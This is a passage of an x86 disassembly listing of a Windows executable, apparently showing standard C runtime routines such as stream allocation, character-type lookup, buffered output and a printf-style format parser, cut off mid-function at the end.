loc_41FD1A: ; CODE XREF: sub_41FBCD+25j
xor eax, eax
jmp short loc_41FD38
; ---------------------------------------------------------------------------
loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj
mov eax, [ebp+arg_C]
inc dword_4DBFAC
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FBCD endp
; =============== S U B R O U T I N E =======================================
sub_41FD3D proc near ; CODE XREF: sub_41BE82p
mov edx, dword_4DD020
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41FDAE
mov ebx, dword_4DC01C
mov edi, ebx
loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41FD74
test byte ptr [ecx+0Ch], 83h
jz short loc_41FD6F
inc eax
add edi, 4
cmp eax, edx
jl short loc_41FD59
jmp short loc_41FDAE
; ---------------------------------------------------------------------------
loc_41FD6F: ; CODE XREF: sub_41FD3D+26j
mov esi, [ebx+eax*4]
jmp short loc_41FD98
; ---------------------------------------------------------------------------
loc_41FD74: ; CODE XREF: sub_41FD3D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41BEB5
pop ecx
mov ecx, dword_4DC01C
mov [edi+ecx], eax
mov eax, dword_4DC01C
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41FDAE
mov esi, edi
loc_41FD98: ; CODE XREF: sub_41FD3D+35j
cmp esi, ebp
jz short loc_41FDAE
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41FDAE: ; CODE XREF: sub_41FD3D+12j
; sub_41FD3D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41FD3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p
; sub_41C0CE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41FDD3
mov ecx, off_43CE78
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41FE25
; ---------------------------------------------------------------------------
loc_41FDD3: ; CODE XREF: sub_41FDB5+10j
mov ecx, eax
push esi
mov esi, off_43CE78
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41FDF8
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41FE01
; ---------------------------------------------------------------------------
loc_41FDF8: ; CODE XREF: sub_41FDB5+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41FE01: ; CODE XREF: sub_41FDB5+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_4244F4
add esp, 1Ch
test eax, eax
jnz short loc_41FE21
leave
retn
; ---------------------------------------------------------------------------
loc_41FE21: ; CODE XREF: sub_41FDB5+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41FDB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FE2A proc near ; CODE XREF: sub_41C266+46p
; sub_41C360+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41FF33
test al, 40h
jnz loc_41FF33
test al, 1
jz short loc_41FE62
and dword ptr [esi+4], 0
test al, 10h
jz loc_41FF33
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41FE62: ; CODE XREF: sub_41FE2A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41FE9C
cmp esi, offset dword_43D588
jz short loc_41FE8A
cmp esi, offset dword_43D5A8
jnz short loc_41FE95
loc_41FE8A: ; CODE XREF: sub_41FE2A+56j
push ebx
call sub_42463D
test eax, eax
pop ecx
jnz short loc_41FE9C
loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej
push esi
call sub_4241F7
pop ecx
loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej
; sub_41FE2A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41FF09
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41FECC
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41FEFF
; ---------------------------------------------------------------------------
loc_41FECC: ; CODE XREF: sub_41FE2A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41FEE7
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41FEEC
; ---------------------------------------------------------------------------
loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j
mov eax, offset dword_43D4D0
loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj
test byte ptr [eax+4], 20h
jz short loc_41FEFF
push 2
push 0
push ebx
call sub_422F09
add esp, 0Ch
loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j
; sub_41FE2A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41FF1D
; ---------------------------------------------------------------------------
loc_41FF09: ; CODE XREF: sub_41FE2A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_4230FB
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41FF29
or dword ptr [esi+0Ch], 20h
jmp short loc_41FF38
; ---------------------------------------------------------------------------
loc_41FF29: ; CODE XREF: sub_41FE2A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41FF3B
; ---------------------------------------------------------------------------
loc_41FF33: ; CODE XREF: sub_41FE2A+10j
; sub_41FE2A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41FF38: ; CODE XREF: sub_41FE2A+FDj
or eax, 0FFFFFFFFh
loc_41FF3B: ; CODE XREF: sub_41FE2A+107j
pop esi
pop ebx
pop ebp
retn
sub_41FE2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF3F proc near ; CODE XREF: sub_41C266+29p
; sub_41C360+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_420658
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41FF73
; ---------------------------------------------------------------------------
loc_41FF6B: ; CODE XREF: sub_41FF3F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj
cmp [ebp+var_14], edx
jl loc_420658
cmp bl, 20h
jl short loc_41FF94
cmp bl, 78h
jg short loc_41FF94
movsx eax, bl
mov al, [eax+42771Ch]
and eax, 0Fh
jmp short loc_41FF96
; ---------------------------------------------------------------------------
loc_41FF94: ; CODE XREF: sub_41FF3F+40j
; sub_41FF3F+45j
xor eax, eax
loc_41FF96: ; CODE XREF: sub_41FF3F+53j
movsx eax, byte_42773C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_420647 ; default
jmp off_420660[eax*4] ; switch jump
loc_41FFB4: ; DATA XREF: .packed:off_420660o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 2
sub eax, 20h
jz short loc_420012
sub eax, 3
jz short loc_420009
sub eax, 8
jz short loc_420000
dec eax
dec eax
jz short loc_41FFF7
sub eax, 3
jnz loc_420647 ; default
or [ebp+var_4], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j
or [ebp+var_4], 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420000: ; CODE XREF: sub_41FF3F+A0j
or [ebp+var_4], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420009: ; CODE XREF: sub_41FF3F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FF3F+96j
or [ebp+var_4], 2
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42001B: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 3
jnz short loc_420043
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_420647 ; default
or [ebp+var_4], 4
neg eax
loc_42003B: ; CODE XREF: sub_41FF3F+111j
mov [ebp+var_20], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420043: ; CODE XREF: sub_41FF3F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_42003B
; ---------------------------------------------------------------------------
loc_420052: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
mov [ebp+var_10], edx ; jumptable 0041FFAD case 4
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42005A: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
cmp bl, 2Ah ; jumptable 0041FFAD case 5
jnz short loc_42007D
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_420647 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42007D: ; CODE XREF: sub_41FF3F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_42008F: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
cmp bl, 49h ; jumptable 0041FFAD case 6
jz short loc_4200C2
cmp bl, 68h
jz short loc_4200B9
cmp bl, 6Ch
jz short loc_4200B0
cmp bl, 77h
jnz loc_420647 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj
or [ebp+var_4], 10h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_41FF3F+158j
or [ebp+var_4], 20h
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200C2: ; CODE XREF: sub_41FF3F+153j
cmp byte ptr [edi], 36h
jnz short loc_4200DB
cmp byte ptr [edi+1], 34h
jnz short loc_4200DB
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_4200DB: ; CODE XREF: sub_41FF3F+186j
; sub_41FF3F+18Cj
mov [ebp+var_30], edx
loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
mov ecx, off_43CE78 ; jumptable 0041FFAD case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42010A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_42010A: ; CODE XREF: sub_41FF3F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_420680
add esp, 0Ch
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420122: ; CODE XREF: sub_41FF3F+6Ej
; DATA XREF: .packed:off_420660o
movsx eax, bl ; jumptable 0041FFAD case 7
cmp eax, 67h
jg loc_42034A
cmp eax, 65h
jge loc_4201CD
cmp eax, 58h
jg loc_42022B
jz loc_4203BE
sub eax, 43h
jz loc_4201EE
dec eax
dec eax
jz short loc_4201C3
dec eax
dec eax
jz short loc_4201C3
sub eax, 0Ch
jnz loc_420549
test word ptr [ebp+var_4], 830h
jnz short loc_42016C
or byte ptr [ebp+var_4+1], 8
loc_42016C: ; CODE XREF: sub_41FF3F+227j
; sub_41FF3F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_420179
mov esi, 7FFFFFFFh
loc_420179: ; CODE XREF: sub_41FF3F+233j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_420392
test ecx, ecx
jnz short loc_4201A1
mov ecx, off_43D094
mov [ebp+var_8], ecx
loc_4201A1: ; CODE XREF: sub_41FF3F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_4201AA: ; CODE XREF: sub_41FF3F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_420389
cmp word ptr [eax], 0
jz loc_420389
inc eax
inc eax
jmp short loc_4201AA
; ---------------------------------------------------------------------------
loc_4201C3: ; CODE XREF: sub_41FF3F+212j
; sub_41FF3F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4202B1
mov [ebp+var_10], 6
jmp loc_4202BF
; ---------------------------------------------------------------------------
loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_4201FA
or byte ptr [ebp+var_4+1], 8
loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j
; sub_41FF3F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_420241
call sub_42073B
push eax
lea eax, [ebp+var_248]
push eax
call sub_424663
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_420254
mov [ebp+var_28], 1
jmp short loc_420254
; ---------------------------------------------------------------------------
loc_42022B: ; CODE XREF: sub_41FF3F+1FBj
sub eax, 5Ah
jz short loc_420262
sub eax, 9
jz short loc_4201FA
dec eax
jz loc_420424
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420241: ; CODE XREF: sub_41FF3F+2C5j
call sub_42071E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_420254: ; CODE XREF: sub_41FF3F+2E1j
; sub_41FF3F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420262: ; CODE XREF: sub_41FF3F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test eax, eax
pop ecx
jz short loc_4202A3
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4202A3
test byte ptr [ebp+var_4+1], 8
jz short loc_420294
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_420549
; ---------------------------------------------------------------------------
loc_420294: ; CODE XREF: sub_41FF3F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj
; sub_41FF3F+336j
mov eax, off_43D090
mov [ebp+var_8], eax
push eax
jmp loc_42033F
; ---------------------------------------------------------------------------
loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj
jnz short loc_4202BF
cmp bl, 67h
jnz short loc_4202BF
mov [ebp+var_10], 1
loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj
; sub_41FF3F:loc_4202B1j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43D420
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_420311
cmp [ebp+var_10], 0
jnz short loc_420311
lea eax, [ebp+var_248]
push eax
call off_43D42C
pop ecx
loc_420311: ; CODE XREF: sub_41FF3F+3BCj
; sub_41FF3F+3C2j
cmp bl, 67h
jnz short loc_420328
test esi, esi
jnz short loc_420328
lea eax, [ebp+var_248]
push eax
call off_43D424
pop ecx
loc_420328: ; CODE XREF: sub_41FF3F+3D5j
; sub_41FF3F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_42033E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_42033E: ; CODE XREF: sub_41FF3F+3F0j
push edi
loc_42033F: ; CODE XREF: sub_41FF3F+36Dj
call sub_41B9C0
pop ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_42034A: ; CODE XREF: sub_41FF3F+1E9j
sub eax, 69h
jz loc_420424
sub eax, 5
jz loc_4203FA
dec eax
jz loc_4203E7
dec eax
jz short loc_4203B7
sub eax, 3
jz loc_42016C
dec eax
dec eax
jz loc_420428
sub eax, 3
jnz loc_420549
mov [ebp+var_2C], 27h
jmp short loc_4203C5
; ---------------------------------------------------------------------------
loc_420389: ; CODE XREF: sub_41FF3F+270j
; sub_41FF3F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_420546
; ---------------------------------------------------------------------------
loc_420392: ; CODE XREF: sub_41FF3F+24Fj
test ecx, ecx
jnz short loc_42039F
mov ecx, off_43D090
mov [ebp+var_8], ecx
loc_42039F: ; CODE XREF: sub_41FF3F+455j
mov eax, ecx
loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4203B0
cmp byte ptr [eax], 0
jz short loc_4203B0
inc eax
jmp short loc_4203A1
; ---------------------------------------------------------------------------
loc_4203B0: ; CODE XREF: sub_41FF3F+467j
; sub_41FF3F+46Cj
sub eax, ecx
jmp loc_420546
; ---------------------------------------------------------------------------
loc_4203B7: ; CODE XREF: sub_41FF3F+425j
mov [ebp+var_10], 8
loc_4203BE: ; CODE XREF: sub_41FF3F+201j
mov [ebp+var_2C], 7
loc_4203C5: ; CODE XREF: sub_41FF3F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_42042F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_42042F
or byte ptr [ebp+var_4+1], 2
jmp short loc_42042F
; ---------------------------------------------------------------------------
loc_4203FA: ; CODE XREF: sub_41FF3F+417j
lea eax, [ebp+arg_8]
push eax
call sub_42071E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_420413
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_420418
; ---------------------------------------------------------------------------
loc_420413: ; CODE XREF: sub_41FF3F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_420418: ; CODE XREF: sub_41FF3F+4D2j
mov [ebp+var_28], 1
jmp loc_420647 ; default
; ---------------------------------------------------------------------------
loc_420424: ; CODE XREF: sub_41FF3F+2F7j
; sub_41FF3F+40Ej
or [ebp+var_4], 40h
loc_420428: ; CODE XREF: sub_41FF3F+432j
mov [ebp+var_C], 0Ah
loc_42042F: ; CODE XREF: sub_41FF3F+491j
; sub_41FF3F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_420441
lea eax, [ebp+arg_8]
push eax
call sub_42072B
pop ecx
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_420441: ; CODE XREF: sub_41FF3F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_420468
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42045D
call sub_42071E
pop ecx
movsx eax, ax
loc_42045A: ; CODE XREF: sub_41FF3F+527j
; sub_41FF3F+539j
cdq
jmp short loc_420482
; ---------------------------------------------------------------------------
loc_42045D: ; CODE XREF: sub_41FF3F+510j
call sub_42071E
pop ecx
movzx eax, ax
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_420468: ; CODE XREF: sub_41FF3F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_42047A
call sub_42071E
pop ecx
jmp short loc_42045A
; ---------------------------------------------------------------------------
loc_42047A: ; CODE XREF: sub_41FF3F+531j
call sub_42071E
pop ecx
xor edx, edx
loc_420482: ; CODE XREF: sub_41FF3F+500j
; sub_41FF3F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4204A3
test edx, edx
jg short loc_4204A3
jl short loc_420492
test eax, eax
jnb short loc_4204A3
loc_420492: ; CODE XREF: sub_41FF3F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4204A7
; ---------------------------------------------------------------------------
loc_4204A3: ; CODE XREF: sub_41FF3F+547j
; sub_41FF3F+54Bj ...
mov esi, eax
mov edi, edx
loc_4204A7: ; CODE XREF: sub_41FF3F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4204B0
and edi, 0
loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj
cmp [ebp+var_10], 0
jge short loc_4204BF
mov [ebp+var_10], 1
jmp short loc_4204C3
; ---------------------------------------------------------------------------
loc_4204BF: ; CODE XREF: sub_41FF3F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej
mov eax, esi
or eax, edi
jnz short loc_4204CD
and [ebp+var_1C], 0
loc_4204CD: ; CODE XREF: sub_41FF3F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4204E3
mov eax, esi
or eax, edi
jz short loc_42051E
loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41DD20
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41DCB0
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_420514
add ebx, [ebp+var_2C]
loc_420514: ; CODE XREF: sub_41FF3F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4204D3
; ---------------------------------------------------------------------------
loc_42051E: ; CODE XREF: sub_41FF3F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_420549
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_42053C
test eax, eax
jnz short loc_420549
loc_42053C: ; CODE XREF: sub_41FF3F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_420546: ; CODE XREF: sub_41FF3F+35Fj
; sub_41FF3F+406j ...
mov [ebp+var_C], eax
loc_420549: ; CODE XREF: sub_41FF3F+21Bj
; sub_41FF3F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_420647 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_420581
test bh, 1
jz short loc_420566
mov [ebp+var_16], 2Dh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420566: ; CODE XREF: sub_41FF3F+61Fj
test bl, 1
jz short loc_420571
mov [ebp+var_16], 2Bh
jmp short loc_42057A
; ---------------------------------------------------------------------------
loc_420571: ; CODE XREF: sub_41FF3F+62Aj
test bl, 2
jz short loc_420581
mov [ebp+var_16], 20h
loc_42057A: ; CODE XREF: sub_41FF3F+625j
; sub_41FF3F+630j
mov [ebp+var_1C], 1
loc_420581: ; CODE XREF: sub_41FF3F+61Aj
; sub_41FF3F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4205A1
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4206E6
add esp, 10h
test bl, 8
jz short loc_4205D3
test bl, 4
jnz short loc_4205D3
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4206B5
add esp, 10h
loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj
; sub_41FF3F+680j
cmp [ebp+var_24], 0
jz short loc_42061A
cmp [ebp+var_C], 0
jle short loc_42061A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_424663
pop ecx
test eax, eax
pop ecx
jle short loc_42062F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4206E6
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4205E8
jmp short loc_42062F
; ---------------------------------------------------------------------------
loc_42061A: ; CODE XREF: sub_41FF3F+698j
; sub_41FF3F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4206E6
add esp, 10h
loc_42062F: ; CODE XREF: sub_41FF3F+6BCj
; sub_41FF3F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_420647 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4206B5
add esp, 10h
loc_420647: ; CODE XREF: sub_41FF3F+68j
; sub_41FF3F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41FF6B
loc_420658: ; CODE XREF: sub_41FF3F+1Fj
; sub_41FF3F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41FF3F endp
; ---------------------------------------------------------------------------
off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er
dd offset loc_41FFB4 ; jump table for switch statement
dd offset loc_41FFCF
dd offset loc_42001B
dd offset loc_420052
dd offset loc_42005A
dd offset loc_42008F
dd offset loc_420122
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp
; sub_41FF3F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_420699
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4206A4
; ---------------------------------------------------------------------------
loc_420699: ; CODE XREF: sub_420680+9j
push ecx
push [ebp+arg_0]
call sub_41FE2A
pop ecx
pop ecx
loc_4206A4: ; CODE XREF: sub_420680+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
